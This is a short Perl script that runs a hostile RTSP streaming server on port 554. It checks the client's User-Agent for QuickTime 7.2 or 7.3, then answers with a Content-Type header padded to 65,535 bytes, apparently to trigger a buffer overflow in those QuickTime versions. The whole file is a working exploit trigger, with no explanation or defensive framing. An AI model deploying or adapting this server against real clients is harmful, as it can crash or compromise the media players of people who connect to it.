#!/usr/bin/perl
     use Socket;

$header = "RTSP/1.0 200 OK\r\n".
         "CSeq: 1\r\n".
         "Date: 0x00 :P\r\n".
         "Content-Base: rtsp://0.0.0.0/1.mp3/\r\n".
         "Content-Type: _buffer_\r\n".
         "Content-Length: _len_\r\n".
         "\r\n";
	 

$body = "v=0\r\n".
"o=- 16689332712 1 IN IP4 0.0.0.0\r\n".
"s=MPEG-1 or 2 Audio, streamed by the funny server\r\n".
"i=1.mp3\r\n".
"t=0 0\r\n".
"a=tool:ciamciaramcia\r\n".
"a=type:broadcast\r\n".
"a=control:*\r\n".
"a=range:npt=0-213.077\r\n".
"a=x-qt-text-nam:MPEG-1 or 2 Audio, streamed by the funny server\r\n".
"a=x-qt-text-inf:1.mp3\r\n".
"m=audio 0 RTP/AVP 14\r\n".
"c=IN IP4 0.0.0.0\r\n".
"a=control:track1\r\n";

     $bind = '0.0.0.0';
     $port = 554;

     $addr_ =(gethostbyname($bind))[4];
     $structure = pack("S n a4 x8", AF_INET,$port, $addr_);

     $proto = (getprotobyname('tcp'))[2];
     socket(SOCK, PF_INET, SOCK_STREAM,$proto)|| die "Failed to initialize socket:$!\n";

     setsockopt(SOCK, SOL_SOCKET, SO_REUSEADDR, 1) || die "setsockopt() failed: $!\n";
     bind(SOCK, $structure) || die "bind() failed: $!\n";
     listen(SOCK, SOMAXCONN) || die "listen() failed: $!\n";

     for (;;) {
          $remote_host = accept(NEWSOCK, SOCK);
          die "accept() error: $!\n" unless ($remote_host);

          while (<NEWSOCK>) {
               last if (/^\s*$/);
	       $qt_v = (split(/\s+/))[1];
          }

          $raw_addr = (unpack("S n a4 x8", $remote_host))[2];
          $dot_addr = join(".", unpack("C4", $raw_addr));
          $name = (gethostbyaddr($raw_addr, AF_INET))[0];

if ($qt_v eq "QuickTime\/7.2" or $qt_v eq "QuickTime\/7.3") {
$tmp = "\x0c" x 65535;
$evil_length=length($body);
}

$header=~s (_buffer_)($tmp)ig;
$header=~s (_len_)($evil_length)ig;
$evil = $header . $body;

print NEWSOCK $evil;

close(NEWSOCK);
}